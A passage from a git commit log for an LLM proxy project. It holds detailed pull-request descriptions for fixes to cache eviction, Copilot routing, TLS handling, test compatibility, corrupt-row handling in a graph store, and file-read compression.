`last_seen` refreshes on **every** access, so an active session never
expires.
- **LRU capacity eviction**: the registry is now an access-ordered
`OrderedDict`; capacity pressure sheds the *idlest* quarter, never a
busy session.
- **Tunable cap**: `HEADROOM_COMPRESSION_CACHE_MAX_SESSIONS` (default
500, floor 1).

## Why 3900s

Eviction is bust-free only once the provider's own prompt cache has
lapsed. Providers don't expose their cache TTLs, and the risk is
one-sided (late eviction costs a few MB; early eviction *causes* the
bust this state exists to prevent), so the default is the upper bound of
documented lifetimes across providers — Anthropic's 1h extended
breakpoint, OpenAI's "up to an hour off-peak", Gemini's 60-min default —
plus 5m grace. A parse-time floor of 600s keeps the TTL from ever
dropping below the prefix tracker's session TTL: after the tracker
expires, the byte-identical swap is the only remaining protection for a
still-live provider prefix.

Read-hit signals are untouched: they govern the freeze boundary, never
eviction — `read_hits == 0` usually means cold start or TTL lapse, where
the map was just (re)written into the provider cache and deleting it
would guarantee a second bust.

## Behavior impact

- Steady state (any session active within the TTL): zero change — same
instances, same bytes, same freeze behavior.
- A session returning after >65 min idle now finds its map evicted — but
every provider had already forgotten its prefix by then, so that turn
was paying the cache-write price regardless (fail-open, no failed
requests).
- Capacity eviction now protects busy sessions instead of punishing
them.

## Testing

- New `tests/test_compression_cache_registry.py`: LRU-not-FIFO capacity
eviction, small-cap edge case, TTL sweep eviction,
access-refreshes-clock, sweep rate limiting.
- 386 tests pass across compression-cache, cache-stability (Anthropic +
OpenAI), prefix-overlay, cold-start, cache-mode, and Bedrock-tracker
suites; ruff check/format clean.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

https://claude.ai/code/session_01EWKCmcH47hvvoQ35wftXhE

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-26 15:04:43 +05:30
Tejas Chopra
f4119c3bc0
test(agno): drop dead module-level Metrics import (#3269)
Main's lint gate is red: `tests/test_integrations/agno/test_model.py:26`
fails ruff F401 (`MessageMetrics as Metrics` imported but unused) after
recent changes left the module-level import dead — `_response_usage()`
already resolves the metrics dataclass locally for both Agno 2.x and 3.x
layouts. This deletes the dead try/except block.

Every open PR inherits this failure through its merge ref (it blocked
#3261's lint check), so this unblocks the queue.

- `ruff check` + `ruff format --check`: clean
- Test file behavior unchanged (the block was unused)

🤖 Generated with [Claude Code](https://claude.com/claude-code)

https://claude.ai/code/session_01EWKCmcH47hvvoQ35wftXhE

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-26 14:44:20 +05:30
JD Davis
997a47992c
fix(copilot): preserve native enterprise model routing (#2998)
## Description

GitHub Copilot Enterprise/Business users without a BYOK provider key
were routed through Copilot CLI's single-model provider override. Native
model aliases and runtime `/model` switches were therefore forwarded
literally to the override and rejected with `400 model not supported`.
This change routes implicit GitHub OAuth through Copilot's native API
surface while retaining explicit subscription and provider-key behavior.

Closes #1910

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- Added explicit `--native` routing and made it automatic for implicit
GitHub OAuth without BYOK.
- Clears every Copilot BYOK variable before native launch.
- Routes both OpenAI and Anthropic protocol targets through the resolved
tenant Copilot host.
- Preserves Enterprise/Business native aliases and runtime model
switching.
- Rejects BYOK-only options when native routing is selected.
- Refuses known Copilot bundles that do not reference `COPILOT_API_URL`,
avoiding silent proxy bypass.
- Preserves explicit `--subscription` and provider-key BYOK semantics.
- Added coverage for unreadable and unverifiable Copilot CLI bundles.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
884 passed, 4 skipped in 103.11s
ruff check .: All checks passed
ruff format --check .: 1412 files already formatted
mypy headroom/providers/copilot/wrap.py headroom/cli/wrap.py:
Success: no issues found in 2 source files
```

Exact-head CI is entirely green on
`0aca48c096`.

## Real Behavior Proof

- Environment: macOS arm64/Python 3.13 locally; GitHub-hosted macOS and
Ubuntu native-wrap jobs.
- Exact command / steps: invoke `headroom wrap copilot` with implicit
OAuth and an Enterprise model alias; inspect the captured child/proxy
environment and resolved target URLs; exercise explicit native conflicts
and bundle-support probes.
- Observed result: native launch uses `COPILOT_API_URL`, clears all BYOK
state, and points both protocol targets at the tenant host. Native-wrap
jobs are green on macOS and Ubuntu for the refreshed head.
- Not tested: live request against a real Enterprise tenant; the
repository has no organization Enterprise credential available to CI.

## Runtime Rollout Safety

- Rollout-managed feature(s): implicit native Copilot routing for GitHub
OAuth sessions without BYOK.
- Minimum rollout channel: normal patch release.
- Stable/default behavior changed: implicit OAuth now uses native
routing; explicit subscription and BYOK paths are unchanged.
- Kill switch / disable path: use an explicit supported provider-key
BYOK configuration; native mode also fails closed when CLI support is
known absent.
- Unsafe override required: none.
- Qualification impact: native-wrap macOS/Ubuntu, Docker wrapper, full
Python matrix, and Copilot focused suites must pass.
- Rollback path: human revert of this PR restores the fixed-wire OAuth
behavior; no configuration migration is persisted.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] I have made corresponding changes to the documentation — CLI help
and inline routing documentation; no separate guide required
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Screenshots (if applicable)

Not applicable; CLI routing change.

## Additional Notes

Human review only. No merge or auto-merge is configured. Refreshed from
main after #2996; the MCP cap `mcp>=1.28.1,<2.0.0` is preserved.
2026-08-25 21:46:31 -05:00
JD Davis
632cb81dbe
fix(learn): surface Codex analysis failures (#3016)
## Description

`headroom learn` could invoke Codex CLI from a non-Git working directory
without Codex’s required bypass flag. The resulting backend error was
then swallowed by the analyzer and rendered as “No actionable patterns
found” with exit code 0. This fixes both coupled defects so Codex can
run from discovered project locations and genuine analysis failures
remain visible and machine-detectable.

Closes #3008

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- Added `--skip-git-repo-check` to the Codex CLI analysis backend
command.
- Added an explicit `analysis_error` result field instead of conflating
backend failure with an empty recommendation set.
- Kept multi-project analysis best-effort, while returning exit code 1
after any project analysis fails.
- Prevented failed analysis from printing a misleading no-pattern
success message.
- Added analyzer and CLI regression coverage for the command and
failure-propagation contracts.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
uv run pytest -q tests/test_learn/test_analyzer.py tests/test_cli_learn.py
102 passed in 2.34s

uv run pytest -q tests/test_learn tests/test_cli_learn.py
257 passed, 7 skipped in 3.11s

uv run mypy headroom
Success: no issues found in 520 source files

uv run ruff check <changed files>
All checks passed!
uv run ruff format --check <changed files>
5 files already formatted

uv run pytest tests scripts/tests --splits 4 --group N --tb=short -q
shard 1: 2766 passed, 140 skipped in 174.08s
shard 2: 2699 passed, 207 skipped in 60.00s
shard 3: 2822 passed, 84 skipped in 76.10s
shard 4: 2734 passed, 172 skipped in 80.29s
```

## Real Behavior Proof

- Environment: macOS arm64, Python 3.13, Codex CLI 0.147.0-compatible
command surface, current `main` including #2996.
- Exact command / steps: verified `codex exec --help`; exercised
`_call_cli_llm` with a captured subprocess command; invoked the Click
command with a simulated Codex nonzero backend result.
- Observed result: the subprocess command is `codex exec
--skip-git-repo-check`; backend failure text is printed as `Analysis
failed`, the misleading no-pattern message is absent, and the CLI exits
1.
- Not tested: live paid Codex analysis against production account
credentials; subprocess and CLI behavior are covered deterministically.

## Runtime Rollout Safety

- Rollout-managed feature(s): none; this is CLI-only failure handling.
- Minimum rollout channel: normal patch release after exact-head CI is
entirely green.
- Stable/default behavior changed: failed LLM analysis now exits nonzero
instead of reporting success; successful and genuinely empty analyses
are unchanged.
- Kill switch / disable path: select another backend with
`HEADROOM_LEARN_CLI` or `--model` if Codex CLI is unavailable.
- Unsafe override required: none.
- Qualification impact: all four Python CI shards, static checks,
security checks, and command-level regression tests must pass.
- Rollback path: fix forward through a human-reviewed corrective PR; no
persisted data or migration is involved.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project’s style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] I have made corresponding changes to the documentation — inline
result-contract documentation; no separate user guide change is required
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Screenshots (if applicable)

Not applicable; command-line backend and exit semantics only.

## Additional Notes

Human review only. No merge or auto-merge is configured. This corrects
the root failure and exit semantics without extending any timeout.
2026-08-25 21:40:12 -05:00
JD Davis
36cc800162
fix(copilot): honor corporate TLS for token refresh (#3246)
## Description

Copilot OAuth/device-auth, user-info, and short-lived token exchange
requests used
`urllib.request.urlopen` directly, bypassing the corporate CA and X.509
strictness
configuration already applied to Headroom's upstream HTTP client. Reuse
that TLS
resolver for every Copilot GitHub request so token refresh works behind
TLS inspection.

Closes #3244

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- Added a `urlopen` adapter for Headroom's existing corporate TLS
resolver.
- Routed Copilot device authorization, user-info, and token exchange
through it.
- Added a regression test proving token exchange receives the configured
TLS context.

## Testing

- [ ] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
pytest tests/test_copilot_auth.py tests/test_ssl_context.py tests/test_copilot_vscode_completions_routing.py -q
202 passed in 2.45s

ruff check . --exclude .codex-worktrees
All checks passed!

ruff format --check . --exclude .codex-worktrees
1449 files already formatted

mypy headroom/copilot_auth.py headroom/proxy/ssl_context.py
Success: no issues found in 2 source files
```

## Real Behavior Proof

- Environment: Windows 11, Python 3.12.13, OpenSSL 3.5.0; local HTTPS
server signed by a private test CA; `REQUESTS_CA_BUNDLE` set to that CA.
The exercised request path is the same adapter used by Copilot token
exchange.
- Exact command / steps: generated a one-day localhost certificate,
started an in-process TLS HTTP server, set only `REQUESTS_CA_BUNDLE` to
the private CA, and called
`headroom.copilot_auth._urlopen(Request(local_https_url), timeout=5)`.
- Observed result: `corporate_ca_https_status=200` and
`response_body=ok`.
- Not tested: a real Cisco/Zscaler interception appliance, macOS, or a
live GitHub Copilot Business token (no corporate network/account is
available locally).

## Runtime Rollout Safety

- Rollout-managed feature(s): None.
- Minimum rollout channel: N/A.
- Stable/default behavior changed: Only Copilot GitHub requests when a
custom CA or `HEADROOM_TLS_STRICT=0` produces an explicit TLS context;
default `urlopen` behavior remains unchanged otherwise.
- Kill switch / disable path: Unset `SSL_CERT_FILE`,
`REQUESTS_CA_BUNDLE`, or `NODE_EXTRA_CA_CERTS` and leave
`HEADROOM_TLS_STRICT` enabled.
- Unsafe override required: No.
- Qualification impact: Restores existing documented corporate TLS
settings for Copilot authentication traffic.
- Rollback path: Revert this commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing relevant unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Screenshots (if applicable)

N/A.

## Additional Notes

The issue attributes token exchange to the Rust extension, but current
`main` performs it in Python via `urllib`. The direct `urllib` path was
the trust-configuration gap. Full-suite execution was also started
locally; unrelated environment-dependent failures appeared outside the
changed Copilot/TLS scope, while all focused tests pass.
2026-08-25 21:37:12 -05:00
gglucass
c2fbb4eed0
test(agno): follow the metrics dataclass move in agno 3.0.0 (#3260)
## Description

agno 3.0.0 (released 2026-08-24) removed the `agno.models.metrics`
module; the per-message usage dataclass now lives at `agno.metrics`
under the name `MessageMetrics`. The mock fixtures in
`tests/test_integrations/agno/test_model.py` import the old path inline,
and the `test-agno` CI job installs `wheel[dev,agno]` with an unpinned
`agno>=1.0.0`, so it now resolves agno 3.0.0 and fails on every branch -
including `main` (see the CI run for #3239's merge commit) and
currently-open PRs.

This resolves the class once at module level: prefer the pre-3 location,
fall back to `MessageMetrics` on agno >= 3. `MessageMetrics` exists
under both names in 2.x and the constructor kwargs the fixtures use
(`input_tokens`, `output_tokens`, `total_tokens`) are unchanged, so both
major versions stay green. Tests-only change; the runtime integration
(`headroom/integrations/agno/`) never imported the removed module - the
other 76 agno tests already pass on 3.0.0.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- Replace the two inline `from agno.models.metrics import Metrics`
imports in the `mock_agno_model` fixture with one module-level compat
resolution that tries `agno.models.metrics.Metrics` (agno < 3) and falls
back to `agno.metrics.MessageMetrics as Metrics` (agno >= 3).

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [ ] Type checking passes (`mypy headroom`)
- [ ] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
$ uv run --frozen --extra dev --extra agno --with agno==3.0.0 pytest tests/test_integrations/agno/ -q
================== 79 passed, 5 skipped, 1 warning in 19.87s ===================

$ uv run --frozen --extra dev --extra agno --with agno==2.9.0 pytest tests/test_integrations/agno/ -q
================== 79 passed, 5 skipped, 1 warning in 11.60s ===================

$ ruff check tests/test_integrations/agno/test_model.py
All checks passed!
$ ruff format --check tests/test_integrations/agno/test_model.py
1 file already formatted
```

## Real Behavior Proof

- Environment: macOS 15 (arm64), CPython 3.12, uv-managed venv; branch =
upstream/main `6262c28a` + this one test commit.
- Exact command / steps: On pristine upstream/main, `uv run --frozen
--extra dev --extra agno --with agno==3.0.0 pytest
tests/test_integrations/agno/ -q` reproduces the CI failure: 3 failed
(`test_response_applies_optimization`,
`test_response_stream_applies_optimization`,
`test_model_wrapper_real_optimization`), all `ModuleNotFoundError: No
module named 'agno.models.metrics'` - the same three failures as the
`test-agno` job on current PRs. Applied this commit and re-ran the same
command under agno 3.0.0 and agno 2.9.0.
- Observed result: 79 passed / 5 skipped under both agno versions; the
three fail-before tests pass.
- Not tested: agno 1.x (the extra's floor); `mypy headroom` not re-run -
no runtime module is touched.

## Runtime Rollout Safety

- Rollout-managed feature(s): None - tests only.
- Minimum rollout channel: Stable.
- Stable/default behavior changed: No. No shipped code changes.
- Kill switch / disable path: Not applicable (test-only change).
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert the single commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [ ] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` - it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Additional Notes

- No new regression test: the three existing tests are the regression -
they fail on agno 3.0.0 without this change and pass with it. Docs
untouched (test-only fix).
- An alternative was pinning `agno<3` in the extra; not taken, since the
runtime integration works unmodified on 3.0.0 and a pin would block
users already on agno 3.

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-26 06:28:11 +05:30
Abhay Singh
6262c28a48
fix(memory/graph): skip a corrupt row instead of aborting a whole graph scan (#3239)
## Description

`SQLiteGraphStore._row_to_entity` and `_row_to_relationship` parse
stored text back into objects with no error handling:

```python
properties=json.loads(row["properties"]),
created_at=datetime.fromisoformat(row["created_at"]),
metadata=json.loads(row["metadata"]),
```

These run inside row loops in the multi-row scans — `get_relationships`
and `query_subgraph` (both the relationship loop and neighbour-entity
expansion). A single unparseable row — from a partial write, a manual
edit, or a bad migration — raises `ValueError` (`JSONDecodeError`/bad
ISO timestamp) *inside the loop*, aborting the **entire** query and
taking unrelated, perfectly good edges/nodes down with it.

Reproduction (A→B and A→C both valid; corrupt only A→B's `properties`):

```python
# corrupt one row out-of-band
con.execute("UPDATE relationships SET properties='{oops' WHERE target_id=?", (b.id,))
# BEFORE: both of these raise JSONDecodeError, even though A->C is fine:
await store.get_relationships(a.id)
await store.query_subgraph([a.id], max_hops=1, direction=OUTGOING)
```

This is the same "one bad row breaks the whole scan" robustness gap
already fixed for the CCR store (`cache/backends/sqlite.py`) and the
vector adapter (`memory/adapters/sqlite_vector.py`); the graph adapter
was the remaining store with unguarded row parsing.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `headroom/memory/adapters/sqlite_graph.py`:
- `_row_to_entity` / `_row_to_relationship` now return `... | None`,
wrapping construction in `except (ValueError, TypeError, KeyError)` and
returning `None` (with a `logger.warning`) on a corrupt row.
- Multi-row call sites skip `None`: `get_relationships`,
`query_subgraph` (initial entities, relationship loop, neighbour
expansion), and the per-user entity listing. The single-row `get_entity`
/ `get_entity_by_name` already return `Entity | None`, so a corrupt row
now reads as "not found" rather than raising.
  - Added a module `logger`.
- `tests/test_sqlite_graph_store.py`: added
`test_one_corrupt_row_does_not_abort_a_multi_row_scan` — corrupts one
relationship row out-of-band and asserts `get_relationships` returns the
one good edge and `query_subgraph` completes with `{A, C}`.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality

### Test Output

```text
tests/test_sqlite_graph_store.py::...one_corrupt_row_does_not_abort_a_multi_row_scan  ->  passes with fix, FAILS without it (verified via git stash)
uvx ruff@0.16.2 check headroom/memory/adapters/sqlite_graph.py tests/test_sqlite_graph_store.py  ->  All checks passed!
uvx mypy@1.20.2 headroom/memory/adapters/sqlite_graph.py  ->  Success: no issues found in 1 source file
```

(Note: this test file has pre-existing, unrelated failures/errors on
`main` on Windows — `TestSQLiteGraphStoreMemoryTrackerIntegration` plus
temp-file teardown `WinError 32` in the `NamedTemporaryFile`-based
fixtures. Verified identical counts before and after this change; my new
test uses `tmp_path` and is unaffected.)

## Real Behavior Proof

- Environment: Windows 11, Python 3.12.11, project venv, pytest 9.1.1,
ruff 0.16.2 and mypy 1.20.2 via uvx.
- Exact command / steps: built A→B and A→C edges, corrupted A→B's
`properties` to invalid JSON via a direct sqlite connection, then called
`get_relationships(A)` and `query_subgraph([A], OUTGOING)`. Before the
fix both raised `JSONDecodeError`; after the fix `get_relationships`
returns just the A→C edge and `query_subgraph` returns entities `{A, C}`
with one relationship, skipping the corrupt row.
- Observed result: corrupt rows are skipped (with a warning log); valid
rows in the same scan are returned normally.
- Not tested: no corruption occurs in normal operation; the corrupt row
is produced out-of-band to exercise the guard (matching the real
triggers: partial write, manual edit, migration).

## Runtime Rollout Safety

- Rollout-managed feature(s): none. This is a SQLite graph-store read
path in the memory subsystem, not a rollout-channel-gated runtime
feature.
- Minimum rollout channel: N/A.
- Stable/default behavior changed: no for well-formed data — every valid
row parses and is returned exactly as before. Only the
previously-crashing corrupt-row case changes, from an aborted query to a
skipped row.
- Kill switch / disable path: N/A.
- Unsafe override required: no.
- Qualification impact: none.
- Rollback path: revert this PR.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (N/A:
internal behavior)
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`
2026-08-25 11:40:54 +05:30
Raúl
4408e88106
fix(proxy): protect file reads from lossy compression on the Responses API path (Copilot view + HEADROOM_PROTECT_READS) (#3238)
## Description

On the OpenAI Responses API path (used by `headroom wrap copilot` and
Codex), fresh file reads were lossy-compressed one turn after
production, so the model saw its own just-read file content garbled
(Kompress word-dropping) and had to re-read it — the exact turn
inflation `HEADROOM_PROTECT_READS` was built to prevent on the
chat/Anthropic path.

Two gaps combined:

1. Copilot CLI's `view` tool (its file-read tool) was not in
`DEFAULT_EXCLUDE_TOOLS` — the set only covered Claude-Code names
(`Read`, `Write`, …).
2. `_compress_openai_responses_live_text_units_with_router`
(`headroom/proxy/handlers/openai.py`) protected only excluded tool
*names* and never implemented the `HEADROOM_PROTECT_READS` read-command
detection that `ContentRouter.apply()` has — so `bash` reads like `nl
-ba FILE | sed -n '1,75p'` were lossy-compressed even with the `coding`
profile's `protect_reads=True`.

Fix (design adversarially reviewed with gpt-5.6-sol before
implementation; verdict "correct with modifications" — all modifications
adopted):

- `view` added to **both** `DEFAULT_EXCLUDE_TOOLS` and
`DEFAULT_VERBATIM_EXCLUDE_TOOLS` — byte-exact contract: no lossy
compression, no lossless JSON rewrite, no cross-turn dedup fold.
- Responses units path now ports the read-command guard: the producing
command is normalized from both wire shapes (`function_call.arguments`,
`local_shell_call.action` argv/string) via the shared
`_tool_call_command_text`; each output is content-gated by
`_read_output_should_be_protected` (lockfiles/JSON/logs/search stay
compressible); protected ids are unioned into the dedup protection set.
- Shared `read_protection_enabled()` env helper extracted in
`content_router.py`, used by both paths.
- Latent debug-path defect fixed (unbound `fold` when an excluded tool's
output is a content-part list and debug logging is enabled).

Follow-up (not in scope): Rust Responses path
(`crates/headroom-core/src/transforms/live_zone.rs`) currently only
protects `headroom_retrieve` — needs parity before that runtime becomes
default.

Closes #3237

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- `headroom/config.py` — `view` in both exclusion sets.
- `headroom/proxy/handlers/openai.py` — read-command protection for the
Responses units path; dedup shield; debug-path fix.
- `headroom/transforms/content_router.py` — shared
`read_protection_enabled()` helper (both paths).
- `tests/test_openai_responses_read_protection.py` — 16 regression
tests.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
# Before fix (first commit on this branch, repro-only):
2 failed, 1 passed   # view read compressed; bash nl|sed read compressed despite HEADROOM_PROTECT_READS=1

# After fix:
$ uv run pytest tests/test_openai_responses_read_protection.py -q
16 passed (incl. content-gate release, string-form local_shell_call, debug paths, scan robustness)

$ uv run pytest tests/test_openai_responses_compression_units.py tests/test_responses_cross_turn_dedup.py \
    tests/test_lossless_excluded_compaction.py tests/test_observed_wire_shapes.py \
    tests/test_content_router_exclude_tools.py tests/test_content_router_compact_json.py -q
69 passed in 3.85s

$ uv run ruff check <changed files> && uv run ruff format --check <changed files>
All checks passed!  4 files already formatted

$ uv run mypy headroom/config.py headroom/transforms/content_router.py headroom/proxy/handlers/openai.py
Success: no issues found
```

## Real Behavior Proof

- Environment: macOS (Darwin), Python 3.13.7, headroom proxy 0.37.0-dev,
`HEADROOM_STACK=wrap_copilot`, savings profile `coding` (effective per
proxy banner), model `gpt-5.6-luna` via GitHub Copilot API.
- Exact command / steps: incident forensics on Copilot CLI session
`5487d36f-3e7d-48b0-a56a-a92e4969c17b` (events.jsonl tool results
byte-matched to proxy log compression units), then the failing→passing
repro above.
- Observed result: (pre-fix proxy log `~/.headroom/logs/proxy-8794.log`)
  ```text
08:46:34 [hr_1787553986_000014] WS /v1/responses slow compression unit …
strategy=text … bytes=3857 … tokens_saved=235
08:46:34 [hr_1787553986_000014] … strategy=text … bytes=6852 …
tokens_saved=413
08:46:34 [hr_1787553986_000014] … strategy=text … bytes=3079 …
tokens_saved=178
08:46:47 [hr_1787554001_000015] … strategy=text … bytes=6924 …
tokens_saved=478
08:46:47 [hr_1787554001_000015] … strategy=text … bytes=4418 …
tokens_saved=305
  ```
Byte sizes match the session's `view` (3857/6852/3079) and `nl|sed`
(6924/4418) tool results exactly. Post-fix, those payload shapes are
byte-exact through
`_compress_openai_responses_live_text_units_with_router` (asserted by
the regression tests over the same wire shapes).
- Not tested: full `pytest tests/` run (upstream suite has pre-existing
order-dependent failures — 7 failed on clean `main` under `-k
"content_router or read or protect"` — and a pre-existing `litellm`
import error in `tests/test_memory_eval.py`; the 5 additional failures
in that selection with my branch pass in isolation and also fail on
clean main under the same selection); live end-to-end with a running
Copilot wrap (unit-level wire-shape coverage instead); Rust core path
(follow-up).

## Runtime Rollout Safety

- Rollout-managed feature(s): none
- Minimum rollout channel: N/A
- Stable/default behavior changed: yes — `view` outputs and
`HEADROOM_PROTECT_READS`-covered bash read outputs stay verbatim on the
Responses path (fidelity improvement; slightly fewer tokens saved)
- Kill switch / disable path: `HEADROOM_PROTECT_READS=0` restores old
bash-read behavior; `HEADROOM_EXCLUDE_TOOLS` overrides tool exclusion
- Unsafe override required: no
- Qualification impact: none
- Rollback path: revert the commit; no state/migration

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] I have made corresponding changes to the documentation (N/A, no
user-facing docs for this internal guard)
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md`
2026-08-24 19:03:03 +08:00
inix
b9d7dcc3da
fix(proxy): make output-savings flush atomic and keep it off the event loop (#3231)
## Description

The output-shaper's periodic savings-ledger flush ran synchronously on
the asyncio event loop: every 25th shaped request,
`emit_request_outcome` performed a full ledger reload (file read +
`json.loads`) followed by a `json.dumps` + in-place `write_text`, with
no await or executor. The write was also non-atomic, so a crash
mid-write truncated the existing ledger, and `SavingsLedger.load()`
silently swallowed the resulting decode error — corrupted history was
indistinguishable from no history yet.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [x] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `emit_request_outcome` now runs `record_from_labels` +
`estimate_request_savings` together on a worker thread via one
`asyncio.to_thread` call — both take the recorder lock, and the periodic
flush holds that lock across disk I/O, so nothing touches it from the
event loop anymore.
- `SavingsLedger.save()` writes through the existing
`headroom.fsutil.write_text` helper (temp file in the target directory,
fsync, atomic `os.replace`, temp cleanup on failure) instead of a
truncating in-place write.
- `SavingsLedger.load()` logs a warning naming the unreadable ledger
file and still fails open with an empty ledger.
- Added `TestFlushDurability` to `tests/test_output_savings.py`:
failed-save intactness (+ no temp residue), corrupt-file warning, and
off-loop-thread assertions.

## Testing

<!-- Check what you actually ran, then paste the real command output
below. -->

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [ ] Manual testing performed

### Test Output

```text
$ python -m pytest tests/test_output_savings.py tests/test_output_shaping_rollup.py tests/test_output_savings_cli.py -q
============================== 49 passed in 1.38s ==============================

$ ruff check headroom/proxy/output_savings.py headroom/proxy/outcome.py tests/test_output_savings.py
All checks passed!

$ ruff format --check headroom/proxy/output_savings.py headroom/proxy/outcome.py tests/test_output_savings.py
3 files already formatted

$ mypy headroom/proxy/output_savings.py headroom/proxy/outcome.py
Success: no issues found in 2 source files

Fail-before evidence (the three files checked out at upstream/main, fix reverted):
$ python -m pytest tests/test_output_savings.py::TestFlushDurability -q
FAILED tests/test_output_savings.py::TestFlushDurability::test_crash_mid_write_leaves_previous_ledger_intact - KeyError: 'opus|code|m|tools'
FAILED tests/test_output_savings.py::TestFlushDurability::test_corrupt_ledger_warns_and_starts_empty - AssertionError: corrupt ledger was swallowed silently
FAILED tests/test_output_savings.py::TestFlushDurability::test_emit_request_outcome_flushes_off_the_loop_thread - assert False
3 failed in 0.49s
```

## Real Behavior Proof

- Environment: macOS 15 (arm64), CPython 3.13.13, project venv; branch
`fix/output-savings-atomic-offload` = upstream/main `7784bb18` + the
single fix commit.
- Exact command / steps: With the three touched files reverted to
upstream/main: `python -m pytest
tests/test_output_savings.py::TestFlushDurability -q` → all 3 new tests
fail (torn write destroys the prior ledger; no warning on a corrupt
file; flush observed on the loop thread). Re-applied the commit and
re-ran the same command plus ruff/format/mypy as pasted under Test
Output.
- Observed result: All 3 fail-before cases now pass — a save failure
before rename leaves the previous ledger loadable with no `*.tmp`
residue, a corrupt ledger logs a warning and still fails open empty, and
the flush triggered through `emit_request_outcome` runs on a worker
thread distinct from the event-loop thread; 49 recorder/rollup/CLI tests
pass.
- Not tested: Windows behavior of the atomic rename (covered by
`fsutil.write_text`, exercised only on POSIX here), a full local suite
run (unrelated pre-existing native hangs on macOS), and the dashboard
rendering of the ledger.

